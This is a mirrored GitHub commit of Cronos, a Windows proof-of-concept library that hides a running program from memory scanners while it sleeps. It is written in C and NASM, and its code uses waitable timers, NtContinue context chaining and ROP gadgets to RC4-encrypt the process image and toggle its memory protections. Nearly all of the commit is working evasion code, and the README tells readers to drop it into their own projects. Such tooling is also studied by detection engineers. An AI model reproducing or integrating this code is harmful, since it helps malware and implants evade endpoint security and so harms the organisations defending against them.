mirror of
https://github.com/Idov31/Cronos
synced 2026-06-21 13:43:19 +00:00
Init
Co-Authored-By: Yxel <47823818+janoglezcampos@users.noreply.github.com>
This commit is contained in:
@@ -0,0 +1,2 @@
|
||||
.vscode
|
||||
bin/
|
||||
@@ -0,0 +1,25 @@
|
||||
BSD 2-Clause License
|
||||
|
||||
Copyright (c) 2022, Ido Veltzman, Yxel
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without
|
||||
modification, are permitted provided that the following conditions are met:
|
||||
|
||||
1. Redistributions of source code must retain the above copyright notice, this
|
||||
list of conditions and the following disclaimer.
|
||||
|
||||
2. Redistributions in binary form must reproduce the above copyright notice,
|
||||
this list of conditions and the following disclaimer in the documentation
|
||||
and/or other materials provided with the distribution.
|
||||
|
||||
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
|
||||
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
|
||||
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
|
||||
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
|
||||
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
|
||||
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
@@ -0,0 +1,56 @@
|
||||
# Cronos
|
||||
|
||||
  
|
||||
|
||||
## This project was co-authored by
|
||||
|
||||
<a href="https://github.com/idov31"></a> <a href="https://github.com/janoglezcampos"></a>
|
||||
|
||||
## Description
|
||||
|
||||
PoC for a new sleep obfuscation technique (based on [Ekko](https://github.com/Cracked5pider/Ekko)) leveraging waitable timers to RC4 encrypt the current process and change the permissions from RW to RX to evade memory scanners.
|
||||
|
||||
A more detailed explanation will be available in the blog post (COMING SOON).
|
||||
|
||||

|
||||
|
||||
## Usage
|
||||
|
||||
To use it, all you have to do is to include Cronos in your project and use it like so:
|
||||
|
||||
```c
|
||||
#include "Cronos.h"
|
||||
|
||||
int main() {
|
||||
int timesToExecute = 1337;
|
||||
int seconds = 10;
|
||||
|
||||
for (int i = 0; i < timesToExecute; i++) {
|
||||
CronosSleep(seconds);
|
||||
|
||||
// YOUR CODE HERE!
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Setup
|
||||
|
||||
To compile it you will need:
|
||||
|
||||
- [NASM](https://www.nasm.us/)
|
||||
- [make](https://stackoverflow.com/questions/32127524/how-to-install-and-use-make-in-windows)
|
||||
- [VisualStudio Compiler](https://developer.microsoft.com/en-US/windows/downloads/windows-sdk/)
|
||||
|
||||
After you have all of the above, navigate to the project's directory and build it with the makefile, the EXE will be in the bin directory.
|
||||
|
||||
## Contributors
|
||||
|
||||
Thanks a lot to those people that contributed to this project:
|
||||
|
||||
- [Orca](https://github.com/ORCx41)
|
||||
|
||||
## Resources
|
||||
|
||||
- [Ekko](https://github.com/Cracked5pider/Ekko)
|
||||
- [DeathSleep](https://github.com/janoglezcampos/DeathSleep)
|
||||
- [Waitable Timers](https://learn.microsoft.com/en-us/windows/win32/sync/using-a-waitable-timer-with-an-asynchronous-procedure-call)
|
||||
@@ -0,0 +1,29 @@
|
||||
#ifndef CRONUS_H
|
||||
#define CRONUS_H
|
||||
|
||||
#include <stdio.h>
|
||||
#include <windows.h>
|
||||
|
||||
// Macros
|
||||
#define TIMER_SLEEP 2000
|
||||
#define InitializeTimerMs(ft, sec) \
|
||||
{ \
|
||||
(ft)->HighPart = (DWORD)(((ULONGLONG) - ((sec) * 1000 * 10 * 1000)) >> 32); \
|
||||
(ft)->LowPart = (DWORD)(((ULONGLONG) - ((sec) * 1000 * 10 * 1000)) & 0xffffffff); \
|
||||
}
|
||||
|
||||
// Struct definitions.
|
||||
typedef struct _CRYPT_BUFFER {
|
||||
DWORD Length;
|
||||
DWORD MaximumLength;
|
||||
PVOID Buffer;
|
||||
} CRYPT_BUFFER, *PCRYPT_BUFFER, DATA_KEY, *PDATA_KEY, CLEAR_DATA, * PCLEAR_DATA, CYPHER_DATA, * PCYPHER_DATA;
|
||||
|
||||
|
||||
// Functions.
|
||||
typedef NTSTATUS(WINAPI* tSystemFunction032)(PCRYPT_BUFFER pData, PDATA_KEY pKey);
|
||||
|
||||
extern void QuadSleep(PVOID, PVOID, PVOID, PVOID);
|
||||
void CronosSleep(int ticks);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef UTILS_H
|
||||
#define UTILS_H
|
||||
|
||||
#include "Cronos.h"
|
||||
#include <psapi.h>
|
||||
|
||||
#define SIZE_MODULE_LIST 2
|
||||
#define MAX_MODULE_NAME 100
|
||||
|
||||
BOOL bCompare (const BYTE *pData, const BYTE *bMask, const char *szMask);
|
||||
DWORD_PTR findPattern (DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask);
|
||||
DWORD_PTR findInModule (LPCSTR moduleName, PBYTE bMask, PCHAR szMask);
|
||||
PVOID findGadget (PBYTE hdrParserFuncB, PCHAR hdrParserFunctMask);
|
||||
|
||||
#endif
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 204 KiB |
@@ -0,0 +1,21 @@
|
||||
CC = cl
|
||||
|
||||
ASM_IN = src/asm/rop.asm
|
||||
ASM_OUT = bin/rop.obj
|
||||
HEADERS = headers
|
||||
BIN_FOLDER = bin
|
||||
BIN_NAME = Cronos.exe
|
||||
|
||||
all: clean compile_asm compile clean_obj
|
||||
|
||||
compile_asm:
|
||||
nasm -f win64 $(ASM_IN) -o bin/rop.obj
|
||||
|
||||
compile:
|
||||
$(CC) src/*.c $(ASM_OUT) /I $(HEADERS) /Fo:$(BIN_FOLDER)\ /Fe: $(BIN_FOLDER)\$(BIN_NAME)
|
||||
|
||||
clean_obj:
|
||||
del /Q $(BIN_FOLDER)\*.obj
|
||||
|
||||
clean:
|
||||
del /Q $(BIN_FOLDER)\*
|
||||
+148
@@ -0,0 +1,148 @@
|
||||
#include "Cronos.h"
|
||||
#include "Utils.h"
|
||||
|
||||
void CronosSleep(int sleepTime) {
|
||||
HANDLE hProtectionRWTimer;
|
||||
HANDLE hProtectionRWXTimer;
|
||||
HANDLE hEncryptionTimer;
|
||||
HANDLE hDecryptionTimer;
|
||||
HANDLE hDummyThreadTimer;
|
||||
|
||||
LARGE_INTEGER protectionRWDueTime;
|
||||
LARGE_INTEGER protectionRWXDueTime;
|
||||
LARGE_INTEGER encryptionDueTime;
|
||||
LARGE_INTEGER decryptionDueTime;
|
||||
LARGE_INTEGER dummyDueTime;
|
||||
|
||||
PVOID rcxGadget;
|
||||
PVOID rdxGadget;
|
||||
PVOID shadowFixerGadget;
|
||||
|
||||
CONTEXT ctxDummyThread = { 0 };
|
||||
CONTEXT ctxProtectionRW = { 0 };
|
||||
CONTEXT ctxProtectionRWX = { 0 };
|
||||
CONTEXT ctxEncryption = { 0 };
|
||||
CONTEXT ctxDecryption = { 0 };
|
||||
|
||||
PVOID NtContinue = NULL;
|
||||
tSystemFunction032 SystemFunction032 = NULL;
|
||||
|
||||
PVOID ImageBase = NULL;
|
||||
DWORD ImageSize = 0;
|
||||
DWORD oldProtect = 0;
|
||||
CRYPT_BUFFER Image = { 0 };
|
||||
DATA_KEY Key = { 0 };
|
||||
CHAR keyBuffer[16] = { 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x31, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18 };
|
||||
|
||||
// Load systemfunction032.
|
||||
HMODULE hAdvapi32 = LoadLibraryA("Advapi32.dll");
|
||||
HMODULE hNtdll = GetModuleHandleA("Ntdll.dll");
|
||||
|
||||
if (hAdvapi32 == 0 || hNtdll == 0)
|
||||
return;
|
||||
|
||||
SystemFunction032 = (tSystemFunction032) GetProcAddress(hAdvapi32, "SystemFunction032");
|
||||
NtContinue = GetProcAddress(hNtdll, "NtContinue");
|
||||
|
||||
// Getting the image base.
|
||||
ImageBase = GetModuleHandleA(NULL);
|
||||
ImageSize = ((PIMAGE_NT_HEADERS)((DWORD_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew))->OptionalHeader.SizeOfImage;
|
||||
|
||||
// Initializing the image and key for SystemFunction032.
|
||||
Key.Buffer = keyBuffer;
|
||||
Key.Length = Key.MaximumLength = 16;
|
||||
|
||||
Image.Buffer = ImageBase;
|
||||
Image.Length = Image.MaximumLength = ImageSize;
|
||||
|
||||
// Creating the waitable timers.
|
||||
hProtectionRWTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWTimer");
|
||||
hProtectionRWXTimer = CreateWaitableTimerW(NULL, TRUE, L"ProtectionRWXTimer");
|
||||
hEncryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"EncryptionTimer");
|
||||
hDecryptionTimer = CreateWaitableTimerW(NULL, TRUE, L"DecryptionTimer");
|
||||
hDummyThreadTimer = CreateWaitableTimerW(NULL, TRUE, L"DummyTimer");
|
||||
|
||||
if (hProtectionRWTimer == 0 || hProtectionRWXTimer == 0 ||
|
||||
hEncryptionTimer == 0 || hDecryptionTimer == 0 || hDummyThreadTimer == 0) {
|
||||
|
||||
printf("[ - ] Failed to create waitable timers: %d", GetLastError());
|
||||
FreeLibrary(hAdvapi32);
|
||||
return;
|
||||
}
|
||||
|
||||
InitializeTimerMs(&dummyDueTime, 0);
|
||||
|
||||
// Capture apc context.
|
||||
if (!SetWaitableTimer(hDummyThreadTimer, &dummyDueTime, 0, (PTIMERAPCROUTINE) RtlCaptureContext, &ctxDummyThread, FALSE)) {
|
||||
printf("[ - ] Failed to capture context: %d", GetLastError());
|
||||
goto CleanUp;
|
||||
}
|
||||
SleepEx(INFINITE, TRUE);
|
||||
|
||||
// Creating the contexts.
|
||||
memcpy(&ctxProtectionRW, &ctxDummyThread, sizeof(CONTEXT));
|
||||
memcpy(&ctxEncryption, &ctxDummyThread, sizeof(CONTEXT));
|
||||
memcpy(&ctxDecryption, &ctxDummyThread, sizeof(CONTEXT));
|
||||
memcpy(&ctxProtectionRWX, &ctxDummyThread, sizeof(CONTEXT));
|
||||
|
||||
// VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
|
||||
ctxProtectionRW.Rsp -= (8 + 0x150);
|
||||
ctxProtectionRW.Rip = (DWORD_PTR) VirtualProtect;
|
||||
ctxProtectionRW.Rcx = (DWORD_PTR) ImageBase;
|
||||
ctxProtectionRW.Rdx = ImageSize;
|
||||
ctxProtectionRW.R8 = PAGE_READWRITE;
|
||||
ctxProtectionRW.R9 = (DWORD_PTR) &oldProtect;
|
||||
|
||||
ctxEncryption.Rsp -= (8 + 0xF0);
|
||||
ctxEncryption.Rip = (DWORD_PTR) SystemFunction032;
|
||||
ctxEncryption.Rcx = (DWORD_PTR) &Image;
|
||||
ctxEncryption.Rdx = (DWORD_PTR) &Key;
|
||||
|
||||
ctxDecryption.Rsp -= (8 + 0x90);
|
||||
ctxDecryption.Rip = (DWORD_PTR) SystemFunction032;
|
||||
ctxDecryption.Rcx = (DWORD_PTR) &Image;
|
||||
ctxDecryption.Rdx = (DWORD_PTR) &Key;
|
||||
|
||||
ctxProtectionRWX.Rsp -= (8 + 0x30);
|
||||
ctxProtectionRWX.Rip = (DWORD_PTR) VirtualProtect;
|
||||
ctxProtectionRWX.Rcx = (DWORD_PTR) ImageBase;
|
||||
ctxProtectionRWX.Rdx = ImageSize;
|
||||
ctxProtectionRWX.R8 = PAGE_EXECUTE_READWRITE;
|
||||
ctxProtectionRWX.R9 = (DWORD_PTR) &oldProtect;
|
||||
|
||||
InitializeTimerMs(&protectionRWDueTime, 0 );
|
||||
InitializeTimerMs(&encryptionDueTime, 1 );
|
||||
InitializeTimerMs(&decryptionDueTime, sleepTime-1 );
|
||||
InitializeTimerMs(&protectionRWXDueTime, sleepTime);
|
||||
|
||||
// Getting the gadgets for the sleepex rop.
|
||||
rcxGadget = findGadget((PBYTE) "\x59\xC3", "xx");
|
||||
rdxGadget = findGadget((PBYTE) "\x5A\xC3", "xx");
|
||||
shadowFixerGadget = findGadget((PBYTE) "\x48\x83\xC4\x20\x5F\xC3", "xxxxxx");
|
||||
|
||||
if(rcxGadget == 0 || rdxGadget == 0 || shadowFixerGadget == 0) {
|
||||
printf("[!] Error finding gadget\n");
|
||||
goto CleanUp;
|
||||
}
|
||||
|
||||
// Setting the timers.
|
||||
if (!SetWaitableTimer(hDecryptionTimer, &decryptionDueTime, 0, NtContinue, &ctxDecryption, FALSE) ||
|
||||
!SetWaitableTimer(hProtectionRWXTimer, &protectionRWXDueTime, 0, NtContinue, &ctxProtectionRWX, FALSE) ||
|
||||
!SetWaitableTimer(hProtectionRWTimer, &protectionRWDueTime, 0, NtContinue, &ctxProtectionRW, FALSE) ||
|
||||
!SetWaitableTimer(hEncryptionTimer, &encryptionDueTime, 0, NtContinue, &ctxEncryption, FALSE))
|
||||
{
|
||||
printf("[ - ] Failed to SetWaitableTimer: %d", GetLastError());
|
||||
goto CleanUp;
|
||||
}
|
||||
|
||||
// Executing the code.
|
||||
QuadSleep(rcxGadget, rdxGadget, shadowFixerGadget, (PVOID) SleepEx);
|
||||
|
||||
CleanUp:
|
||||
CloseHandle(hDummyThreadTimer);
|
||||
CloseHandle(hDecryptionTimer);
|
||||
CloseHandle(hProtectionRWXTimer);
|
||||
CloseHandle(hProtectionRWTimer);
|
||||
CloseHandle(hEncryptionTimer);
|
||||
FreeLibrary(hAdvapi32);
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
#include "Cronos.h"
|
||||
|
||||
int main() {
|
||||
for (int i = 0; i < 4; i++) {
|
||||
printf("\n[ + ] Sleeping\n");
|
||||
CronosSleep(10);
|
||||
printf("[ + ] Code executed!\n");
|
||||
}
|
||||
}
|
||||
+74
@@ -0,0 +1,74 @@
|
||||
#include "Utils.h"
|
||||
|
||||
BOOL bCompare(const BYTE *pData, const BYTE *bMask, const char *szMask)
|
||||
{
|
||||
for (; *szMask; ++szMask, ++pData, ++bMask)
|
||||
if (*szMask == 'x' && *pData != *bMask)
|
||||
return FALSE;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
DWORD_PTR findPattern(DWORD_PTR dwAddress, DWORD dwLen, PBYTE bMask, PCHAR szMask)
|
||||
{
|
||||
for (DWORD i = 0; i < dwLen; i++)
|
||||
if (bCompare((PBYTE)(dwAddress + i), bMask, szMask))
|
||||
return (DWORD_PTR)(dwAddress + i);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD_PTR findInModule(LPCSTR moduleName, PBYTE bMask, PCHAR szMask)
|
||||
{
|
||||
PIMAGE_DOS_HEADER ImageBase = (PIMAGE_DOS_HEADER)GetModuleHandleA(moduleName);
|
||||
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)ImageBase + ImageBase->e_lfanew);
|
||||
DWORD_PTR section_offset = (DWORD_PTR)ImageBase + ImageBase->e_lfanew + sizeof(IMAGE_NT_HEADERS);
|
||||
PIMAGE_SECTION_HEADER text_section = (PIMAGE_SECTION_HEADER)(section_offset);
|
||||
DWORD_PTR dwAddress = findPattern((DWORD_PTR)ImageBase + text_section->VirtualAddress, text_section->SizeOfRawData, bMask, szMask);
|
||||
return dwAddress;
|
||||
}
|
||||
|
||||
PVOID findGadget(PBYTE hdrParserFuncB, PCHAR hdrParserFunctMask)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
BOOL result;
|
||||
HMODULE *moduleList;
|
||||
DWORD bytesNeeded;
|
||||
DWORD nModules = 0;
|
||||
LPSTR moduleName = NULL;
|
||||
DWORD_PTR ptr = 0;
|
||||
// PBYTE hdrParserFuncB = (PBYTE)"\x48\x89\x22\xc3";
|
||||
|
||||
hProcess = GetCurrentProcess();
|
||||
|
||||
moduleList = malloc(SIZE_MODULE_LIST * sizeof(HMODULE));
|
||||
result = EnumProcessModules(hProcess, moduleList, SIZE_MODULE_LIST * sizeof(HMODULE), &bytesNeeded);
|
||||
if (bytesNeeded > SIZE_MODULE_LIST * sizeof(HMODULE))
|
||||
{
|
||||
moduleList = realloc(moduleList, bytesNeeded);
|
||||
result = EnumProcessModules(hProcess, moduleList, bytesNeeded, &bytesNeeded);
|
||||
}
|
||||
|
||||
if (!result)
|
||||
goto end;
|
||||
for (int iModule = 1; iModule < (bytesNeeded / sizeof(HMODULE)); iModule++)
|
||||
{
|
||||
moduleName = malloc(MAX_MODULE_NAME * sizeof(CHAR));
|
||||
if (GetModuleFileNameExA(hProcess, moduleList[iModule], moduleName, MAX_MODULE_NAME * sizeof(CHAR)) == 0)
|
||||
goto end;
|
||||
ptr = findInModule(moduleName, hdrParserFuncB, hdrParserFunctMask);
|
||||
if (ptr)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
end:
|
||||
if (moduleList)
|
||||
free(moduleList);
|
||||
|
||||
if (moduleName)
|
||||
free(moduleName);
|
||||
if (hProcess)
|
||||
CloseHandle(hProcess);
|
||||
return (PVOID)ptr;
|
||||
}
|
||||
@@ -0,0 +1,59 @@
|
||||
[BITS 64]
|
||||
|
||||
GLOBAL QuadSleep
|
||||
EXTERN SleepEx
|
||||
|
||||
[SECTION .text]
|
||||
|
||||
QuadSleep:
|
||||
sub rsp, 0x28 ;0x28
|
||||
mov r10, end
|
||||
push r10 ;0x30
|
||||
push r9 ;0x38
|
||||
|
||||
mov r10, 0xFFFFFFFF
|
||||
push r10 ;first arg ;0x40
|
||||
push rcx ;0x48
|
||||
mov r10, 1
|
||||
push r10 ;second arg ;0x50
|
||||
push rdx ;0x58
|
||||
|
||||
lea r10, [rdx + 1]
|
||||
push r10 ;0x60
|
||||
|
||||
sub rsp, 0x28 ;0x88
|
||||
push r8 ;0x90
|
||||
push r9 ;0x98
|
||||
mov r10, 0xFFFFFFFF
|
||||
push r10 ;first arg ;0xA0
|
||||
push rcx ;0xA8
|
||||
mov r10, 1
|
||||
push r10 ;second arg ;0xB0
|
||||
push rdx ;0xB8
|
||||
|
||||
lea r10, [rdx + 1]
|
||||
push r10 ;0xC0
|
||||
|
||||
sub rsp, 0x28 ;0xE8
|
||||
push r8 ;0xF0
|
||||
push r9 ;0xF8
|
||||
mov r10, 0xFFFFFFFF
|
||||
push r10 ;first arg ;0x100
|
||||
push rcx ;0x108
|
||||
mov r10, 1
|
||||
push r10 ;second arg ;0x110
|
||||
push rdx ;0x118
|
||||
|
||||
lea r10, [rdx + 1]
|
||||
push r10 ;0x120
|
||||
|
||||
sub rsp, 0x28 ;0x148
|
||||
push r8 ;0x150
|
||||
mov rcx, 0xFFFFFFFF ;first arg
|
||||
mov rdx, 1 ;second arg
|
||||
|
||||
jmp r9
|
||||
|
||||
end:
|
||||
add rsp, 0x28
|
||||
ret
|
||||
Reference in New Issue
Block a user